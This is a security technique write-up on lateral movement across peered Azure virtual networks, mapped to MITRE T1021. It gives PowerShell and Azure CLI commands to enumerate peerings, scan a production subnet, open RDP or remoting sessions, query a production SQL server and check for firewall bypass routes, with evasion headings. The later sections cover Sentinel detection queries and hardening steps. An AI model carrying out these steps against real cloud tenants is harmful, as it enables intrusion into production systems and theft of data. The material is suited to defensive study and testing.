| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-008 |
| MITRE ATT&CK v18.1 | T1021 - Remote Services |
| Tactic | Lateral Movement |
| Platforms | Entra ID / Azure |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Azure subscription types; VNETs with peering enabled |
| Patched In | N/A (Technique remains active; requires architectural redesign) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure VNET (Virtual Network) Peering Traversal exploits the fact that peered virtual networks become part of the same routing domain with full unrestricted traffic flow by default. Many organizations implement hub-and-spoke architectures with peered networks but fail to deploy additional security controls (NSGs, Azure Firewall, User-Defined Routes) between peered networks. Once an attacker compromises a VM in one peered VNET (e.g., “Development”), they can seamlessly access VMs in other peered VNETs (e.g., “Production”, “Shared Services”) using internal IP addresses. This is fundamentally different from on-premises environments where multiple physical networks require explicit routing configuration. VNET peering makes network traversal trivial—the attacker doesn’t need to exploit routing misconfigurations; the connectivity is intentionally built-in.
Attack Surface:
Business Impact: Enables breach escalation from development environment to production. Development networks often have weaker security controls (fewer admins, less monitoring, lower sensitivity data). If a development VM is compromised and peered to production, the attacker can immediately access production databases, application servers, and sensitive data. Typical impact includes data breach of production systems, ransomware deployment across all peered networks, and infrastructure destruction.
Technical Context: VNET peering traversal is instantaneous—once a VM is compromised, lateral movement to other VNETs occurs in seconds. Detection is challenging because peering traffic is internal to Azure (not crossing organization boundaries) and appears as normal VM-to-VM communication. The primary defense is architectural: enforce zero-trust network segmentation even between peered networks. Many organizations skip this step because peering is perceived as “trusted internal traffic.”
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 6.3, 6.5 | Network Segmentation, VPC/VNET Configuration |
| DISA STIG | SRG-APP-000516 | Application Communication Security via Network |
| CISA SCuBA | SC.L1-3.3.6, SC.L1-3.13.8 | Network Isolation and Segmentation, Interconnection Traffic |
| NIST 800-53 | AC-3, AC-4, SI-4 | Access Enforcement, Information Flow Enforcement, System Monitoring |
| GDPR | Art. 32 | Security of Processing - Network segmentation and isolation |
| DORA | Art. 10 | Incident Handling (Cross-system incidents via network bridges) |
| NIS2 | Art. 21 | Cyber Risk Management - Network monitoring and segregation |
| ISO 27001 | A.13.1.1, A.13.2.1 | Network Architecture, Network Access Control |
| ISO 27005 | § 4.4.1, § 5.4.2 | Risk Analysis – Network isolation failure, Risk Treatment options |
Allow Virtual Network Access enabled; traffic must not be filtered by NSG/FirewallSupported Versions:
Tools:
# Connect to Azure subscription
Connect-AzAccount
# Enumerate all VNETs in subscription
Get-AzVirtualNetwork | Select-Object Name, ResourceGroupName, AddressSpace
# Check peering relationships
$vnet = Get-AzVirtualNetwork -Name "DevelopmentVNET" -ResourceGroupName "RG1"
$vnet | Get-AzVirtualNetworkPeering | Select-Object Name, PeeringState, AllowVirtualNetworkAccess
# Enumerate VMs in peered VNETs
Get-AzVM -ResourceGroupName "ProductionRG" | Select-Object Name, @{N="VNET";E={($_.NetworkProfile.NetworkInterfaces[0].Id -split "/" | select -Last 1)}}
# Check NSG rules between peered networks
$nsg = Get-AzNetworkSecurityGroup -ResourceGroupName "ProductionRG" -Name "Prod-NSG"
$nsg | Get-AzNetworkSecurityRuleConfig | Select-Object Name, SourceAddressPrefix, DestinationPortRange, Access
What to Look For:
PeeringState = Connected → Trust relationships existAllowVirtualNetworkAccess = True on both sides → Full peering enabledVersion Note: Behavior consistent across all Azure subscription types and regions
# Login to Azure
az login
# List all VNETs and their peering status
az network vnet list --query "[].{Name:name, ResourceGroup:resourceGroup, AddressSpace:addressSpace}" -o table
# Check specific peering relationship
az network vnet peering list --resource-group "RG1" --vnet-name "DevelopmentVNET" --query "[].{Name:name, PeeringState:peeringState, AllowVirtualNetworkAccess:allowVirtualNetworkAccess}" -o table
# Enumerate VMs and their subnets in peered VNETs
az vm list --resource-group "ProductionRG" --query "[].{Name:name, Subnet:networkProfile.networkInterfaces[0].id}" -o table
# Check network interfaces and their private IPs
az network nic list --resource-group "ProductionRG" --query "[].{Name:name, PrivateIP:ipConfigurations[0].privateIpAddress, Subnet:ipConfigurations[0].subnet.id}" -o table
# List NSG rules for production NSG
az network nsg rule list --resource-group "ProductionRG" --nsg-name "Prod-NSG" --query "[].{Name:name, SourcePrefix:sourceAddressPrefix, DestPort:destinationPortRange, Access:access}" -o table
What to Look For:
Supported Versions: All Azure VM editions
Objective: Enumerate VMs accessible via peering and determine which are reachable
Command:
# From compromised VM in Development VNET (10.0.0.0/16)
# Enumerate production VNET (10.1.0.0/16) resources
# Perform network scanning across peering link
$productionSubnet = "10.1.1.0/24" # Production Subnet
$ports = 3389, 22, 5985 # RDP, SSH, WinRM
# Scan for accessible hosts
for ($i = 1; $i -le 254; $i++) {
$ip = "10.1.1.$i"
$result = Test-NetConnection -ComputerName $ip -Port 3389 -WarningAction SilentlyContinue
if ($result.TcpTestSucceeded) {
Write-Host "RDP accessible on $ip"
}
}
# Alternative: Use PowerShell remoting across peering
$ips = @("10.1.1.5", "10.1.2.10", "10.1.3.15")
foreach ($ip in $ips) {
$session = New-PSSession -ComputerName $ip -Credential (Get-Credential) -ErrorAction SilentlyContinue
if ($session) {
Write-Host "PowerShell Remoting successful on $ip"
}
}
Expected Output:
RDP accessible on 10.1.1.5
RDP accessible on 10.1.1.10
RDP accessible on 10.1.1.15
PowerShell Remoting successful on 10.1.2.10
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Establish remote access session on production VM from development VM
Command:
# Connect to production VM via RDP (from compromised development VM)
# Using credentials from development network (often reused across environments)
$cred = Get-Credential
mstsc.exe /v:10.1.1.5 /admin /u:contoso\administrator /p:$cred.Password
# Alternative: PowerShell Remoting across peering
$session = New-PSSession -ComputerName 10.1.1.5 -Credential $cred
Enter-PSSession $session
# Execute commands on production VM
whoami # Verify access
Get-Service | Where-Object Status -eq "Running" # Enumerate services
Get-ChildItem "C:\Program Files\SQL Server\" -Recurse # Look for databases
Expected Output:
[10.1.1.5]: PS C:\Users\Administrator\Documents>
CONTOSO\Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-AzNetworkSecurityRuleConfig -NSG $nsg | Where DestinationPort -like "*3389*"Supported Versions: All Azure subscription types
Objective: Identify PaaS resources accessible from compromised VM via peering
Command:
# From compromised development VM, enumerate production Azure resources
# List storage accounts in production resource group
Get-AzStorageAccount -ResourceGroupName "ProductionRG" | Select-Object StorageAccountName, Location, Kind
# List SQL databases
Get-AzSqlServer -ResourceGroupName "ProductionRG" | Select-Object ServerName, Location, FullyQualifiedDomainName
# List Key Vaults
Get-AzKeyVault -ResourceGroupName "ProductionRG" | Select-Object VaultName, Location
# Check if VM has managed identity with permissions to these resources
$vmIdentity = (Get-AzVM -Name "ProdVM1" -ResourceGroupName "ProductionRG").Identity
if ($vmIdentity) {
Get-AzRoleAssignment -ObjectId $vmIdentity.PrincipalId | Select-Object RoleDefinitionName, Scope
}
Expected Output:
StorageAccountName: prodstorage2024
Location: eastus
Kind: StorageV2
ServerName: prodsqlserver01
FullyQualifiedDomainName: prodsqlserver01.database.windows.net
VaultName: prod-keyvault-01
Location: eastus
RoleDefinitionName: Reader
Scope: /subscriptions/.../resourceGroups/ProductionRG
What This Means:
OpSec & Evasion:
Objective: Connect to SQL database in production VNET using internal IP
Command:
# Connect to SQL Server in production using internal VNET address
$sqlServer = "prodsqlserver01.database.windows.net"
$database = "ProductionDB"
$credential = Get-Credential # Production SQL admin credentials (if obtained)
# Create SQL connection
$connectionString = "Server=$sqlServer;Database=$database;User ID=$($credential.UserName);Password=$($credential.Password);"
# Execute SQL query
$sqlConnection = New-Object System.Data.SqlClient.SqlConnection
$sqlConnection.ConnectionString = $connectionString
$sqlConnection.Open()
$sqlCommand = $sqlConnection.CreateCommand()
$sqlCommand.CommandText = "SELECT * FROM sys.databases"
$result = $sqlCommand.ExecuteReader()
while ($result.Read()) {
Write-Host $result[0]
}
$sqlConnection.Close()
Expected Output:
master
tempdb
model
msdb
ProductionDB
SensitiveDataDB
CustomerDatabase
What This Means:
OpSec & Evasion:
Supported Versions: Azure VNETs with Azure Firewall or UDRs
Objective: Determine if Azure Firewall is deployed and check its bypass methods
Command:
# Check if Azure Firewall is deployed in hub VNET
Get-AzFirewall -ResourceGroupName "NetworkRG" | Select-Object Name, ProvisioningState, Location
# Check User-Defined Routes (UDRs) for bypass
$routeTable = Get-AzRouteTable -ResourceGroupName "ProductionRG" -Name "Prod-Routes"
$routeTable | Get-AzRouteConfig | Select-Object Name, AddressPrefix, NextHopType, NextHopIpAddress
# Identify Azure Firewall private IP address
$firewall = Get-AzFirewall -ResourceGroupName "NetworkRG" -Name "HubFirewall"
$firewall.IpConfigurations | Select-Object Name, PrivateIpAddress
Expected Output:
Name: HubFirewall
ProvisioningState: Succeeded
Name: Default-Route
AddressPrefix: 0.0.0.0/0
NextHopType: VirtualAppliance
NextHopIpAddress: 10.200.1.4
Name: ToProduction
AddressPrefix: 10.1.0.0/16
NextHopType: VirtualAppliance
NextHopIpAddress: 10.200.1.4
What This Means:
OpSec & Evasion:
Objective: Route traffic to bypass firewall inspection
Command:
# Check if Direct-Peering route bypasses firewall
# (Some organizations set NextHopType: "VNetLocal" for peered subnets, which bypasses firewall)
# From compromised VM, attempt direct routing to peered subnet
$targetVM = "10.1.1.5"
$hops = Test-NetConnection -ComputerName $targetVM -TraceRoute -WarningAction SilentlyContinue
# Analyze route
$hops.TraceRoute | ForEach-Object {
Write-Host "$($_): $(if ($_ -eq '10.200.1.4') { 'FIREWALL' } else { 'DIRECT' })"
}
# If direct route is available, traffic bypasses firewall
# Attempt to access production resources directly
$session = New-PSSession -ComputerName $targetVM -Credential (Get-Credential)
Expected Output (If Firewall Bypass Exists):
10.0.0.1: SOURCE
10.1.1.5: DIRECT (No firewall hop)
What This Means:
Supported Versions: All
Invoke-AtomicTest T1021.001 -TestNumbers 2 # RDP lateral movement
**Reference:** [Atomic Red Team - T1021](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021/T1021.md)
---
## 6. MICROSOFT SENTINEL DETECTION
#### Query 1: VNET Peering Traversal Detection
**Rule Configuration:**
- **Required Table:** AzureNetworkAnalytics_CL (NSG Flow Logs)
- **Required Fields:** SrcIP_s, DestIP_s, DestPort_d, Protocol_s, AllowedInFlows_d, Direction_s
- **Alert Severity:** High
- **Frequency:** Run every 5 minutes
- **Applies To Versions:** All (requires NSG Flow Logs enabled)
**KQL Query:**
```kusto
AzureNetworkAnalytics_CL
| where AllowedInFlows_d > 0
| where SrcIP_s startswith "10.0." and DestIP_s startswith "10.1." // Dev to Prod subnets
| where DestPort_d in (3389, 22, 5985, 5986, 1433) // RDP, SSH, WinRM, SQL ports
| where Protocol_s in ("T", "U") // TCP, UDP
| summarize ConnectionCount = sum(AllowedInFlows_d) by SrcIP_s, DestIP_s, DestPort_d, bin(TimeGenerated, 5m)
| where ConnectionCount > 5
| project-reorder TimeGenerated, SrcIP_s, DestIP_s, DestPort_d, ConnectionCount
What This Detects:
Manual Configuration Steps:
Lateral Movement - VNET Peering TraversalHigh5 minutes30 minutesRule Configuration:
KQL Query:
AzureActivity
| where OperationName in ("Get secret", "List secrets", "Create or update secret")
| where ResourceGroup startswith "Production"
| where CallerIpAddress startswith "10.0." // From development VNET
| summarize AccessCount = count() by CallerIpAddress, ResourceGroup, OperationName, bin(TimeGenerated, 10m)
| where AccessCount > 3
What This Detects:
Event ID: 4624 (Successful Logon)
Manual Configuration Steps:
Event ID: 5156 (Windows Filtering Platform - Outbound Connection)
Implement Azure Firewall Between Peered VNETs:
Applies To Versions: All
Manual Steps (Azure Portal):
Hub-FirewallAzureFirewallSubnet (10.200.1.0/24)Manual Steps (Azure CLI):
# Create Azure Firewall
az network firewall create --resource-group "NetworkRG" --name "Hub-Firewall" --location "eastus"
# Create firewall rules to restrict development → production traffic
az network firewall rule-collection-group create --resource-group "NetworkRG" \
--firewall-name "Hub-Firewall" --name "RestrictDevToProd" --priority 100 \
--rule-collection-groups "DenyDevToProd"
Implement Network Security Groups Between Peered VNETs:
Applies To Versions: All
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Create restrictive NSG for production
$nsgConfig = New-AzNetworkSecurityGroup -Name "Prod-NSG-Restrictive" -ResourceGroupName "ProductionRG" -Location "eastus"
# Deny all traffic from development VNET by default
$rule = New-AzNetworkSecurityRuleConfig -Name "DenyAllFromDev" -Protocol '*' `
-SourcePortRange '*' -SourceAddressPrefix "10.0.0.0/16" `
-DestinationPortRange '*' -DestinationAddressPrefix '*' `
-Access "Deny" -Priority 100 -Direction "Inbound"
$nsgConfig | Add-AzNetworkSecurityRuleConfig @rule
$nsgConfig | Set-AzNetworkSecurityGroup
Disable or Restrict VNET Peering if Not Needed:
Applies To Versions: All
Manual Steps (Azure Portal):
AllowVirtualNetworkAccess: OFF (unless traffic flow is required)AllowForwardedTraffic: OFFAllowGatewayTransit: OFFUseRemoteGateways: OFFImplement Zero-Trust Network Segmentation (Micro-Segmentation):
Applies To Versions: All
Manual Steps:
Enable NSG Flow Logs and Azure Network Watcher:
Applies To Versions: All
Manual Steps (Azure Portal):
Enforce Principle of Least Privilege for Managed Identities:
Manual Steps:
Reader (read-only on VMs in same VNET)Storage Blob Data Reader (specific storage account only)Manual Steps (PowerShell):
# Remove broad roles
$vm = Get-AzVM -Name "DevVM" -ResourceGroupName "DevRG"
Remove-AzRoleAssignment -ObjectId $vm.Identity.PrincipalId -RoleDefinitionName "Contributor"
# Assign specific role to specific resource
New-AzRoleAssignment -ObjectId $vm.Identity.PrincipalId `
-RoleDefinitionName "Reader" `
-Scope "/subscriptions/$(Get-AzContext).Subscription.Id/resourceGroups/DevRG"
# Verify NSG rules block development → production traffic
$nsg = Get-AzNetworkSecurityGroup -ResourceGroupName "ProductionRG" -Name "Prod-NSG"
$nsg | Get-AzNetworkSecurityRuleConfig |
Where-Object { $_.SourceAddressPrefix -like "*10.0*" -or $_.SourceAddressPrefix -eq "*" } |
Select-Object Name, SourceAddressPrefix, DestinationPortRange, Access
# Verify Azure Firewall is deployed
Get-AzFirewall -ResourceGroupName "NetworkRG" | Select-Object Name, ProvisioningState
# Verify UDRs route traffic through firewall
$routeTable = Get-AzRouteTable -ResourceGroupName "ProductionRG" -Name "Prod-Routes"
$routeTable | Get-AzRouteConfig |
Where-Object { $_.NextHopType -eq "VirtualAppliance" } |
Select-Object Name, AddressPrefix, NextHopIpAddress
# Verify NSG Flow Logs are enabled
Get-AzNetworkWatcherFlowLogStatus -TargetResourceId (Get-AzNetworkSecurityGroup -ResourceGroupName "ProductionRG").Id
Expected Output (If Secure):
Name SourcePrefix DestPort Access
---- ---- -------- ------
DenyAllFromDev 10.0.0.0/16 * Deny
Name ProvisioningState
---- -----------------
Hub-Firewall Succeeded
Name AddressPrefix NextHopType NextHopIpAddress
---- ----- ----------- ----------------
DefaultToFirewall 0.0.0.0/0 VirtualAppliance 10.200.1.4
ToProdVNET 10.1.0.0/16 VirtualAppliance 10.200.1.4
Enabled: True
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] Azure App Service Exploitation | Attacker exploits vulnerable web app in development VNET |
| 2 | Privilege Escalation | [PRIV-AZURE-001] Managed Identity Token Theft | Extract managed identity token from compromised app |
| 3 | Current Step | [LM-REMOTE-008] | Use token/credentials to lateral move across VNET peering to production resources |
| 4 | Persistence | [PERSIST-AZURE-002] Service Principal Backdoor | Create persistent backdoor in production VNET |
| 5 | Impact | [IMPACT-CLOUD-002] Database Exfiltration | Access production SQL database via cross-VNET lateral movement; exfiltrate customer data |